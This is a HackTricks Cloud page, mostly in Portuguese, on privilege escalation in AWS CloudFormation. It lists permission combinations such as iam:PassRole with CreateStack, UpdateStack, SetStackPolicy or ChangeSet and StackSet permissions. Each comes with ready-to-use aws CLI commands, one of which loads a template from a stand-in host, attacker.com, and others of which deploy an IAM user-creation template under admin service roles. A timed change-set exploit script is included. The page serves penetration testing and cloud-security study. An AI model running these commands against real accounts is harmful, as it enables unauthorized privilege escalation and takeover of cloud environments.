AWS - Cloudformation Privesc

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Confira os planos de assinatura!

• Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.

• Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.

cloudformation

Para mais informações sobre cloudformation, confira:

AWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

Um atacante com essas permissões pode escalar privilégios criando uma pilha CloudFormation com um template personalizado, hospedado em seu servidor, para executar ações sob as permissões de um papel especificado:

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

Na página seguinte, você tem um exemplo de exploração com a permissão adicional cloudformation:DescribeStacks:

iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

Impacto Potencial: Privesc para o papel de serviço cloudformation especificado.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

Neste caso, você pode abusar de uma pilha cloudformation existente para atualizá-la e escalar privilégios, como no cenário anterior:

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

A permissão cloudformation:SetStackPolicy pode ser usada para dar a si mesmo a permissão UpdateStack sobre uma pilha e realizar o ataque.

Impacto Potencial: Privesc para o papel de serviço do cloudformation especificado.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

Se você tiver essa permissão, mas sem iam:PassRole, ainda pode atualizar as pilhas usadas e abusar dos Papéis IAM que já estão anexados. Verifique a seção anterior para um exemplo de exploração (apenas não indique nenhum papel na atualização).

A permissão cloudformation:SetStackPolicy pode ser usada para dar a si mesmo a permissão UpdateStack sobre uma pilha e realizar o ataque.

Impacto Potencial: Privesc para o papel de serviço do cloudformation já anexado.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Um atacante com permissões para passar um papel e criar & executar um ChangeSet pode criar/atualizar uma nova pilha do cloudformation e abusar dos papéis de serviço do cloudformation assim como com o CreateStack ou UpdateStack.

A seguinte exploração é uma variação da CreateStack one usando as permissões ChangeSet para criar uma pilha.

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

A permissão cloudformation:SetStackPolicy pode ser usada para dar a si mesmo permissões de ChangeSet sobre uma pilha e realizar o ataque.

Impacto Potencial: Privesc para funções de serviço do cloudformation.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Isso é como o método anterior sem passar funções IAM, então você pode apenas abusar das já anexadas, apenas modifique o parâmetro:

--change-set-type UPDATE

Impacto Potencial: Privesc para o papel de serviço do cloudformation já anexado.

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

Um atacante poderia abusar dessas permissões para criar/atualizar StackSets para abusar de papéis de cloudformation arbitrários.

Impacto Potencial: Privesc para papéis de serviço do cloudformation.

cloudformation:UpdateStackSet

Um atacante poderia abusar dessa permissão sem a permissão passRole para atualizar StackSets e abusar dos papéis de cloudformation anexados.

Impacto Potencial: Privesc para os papéis de cloudformation anexados.

Referências

• https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.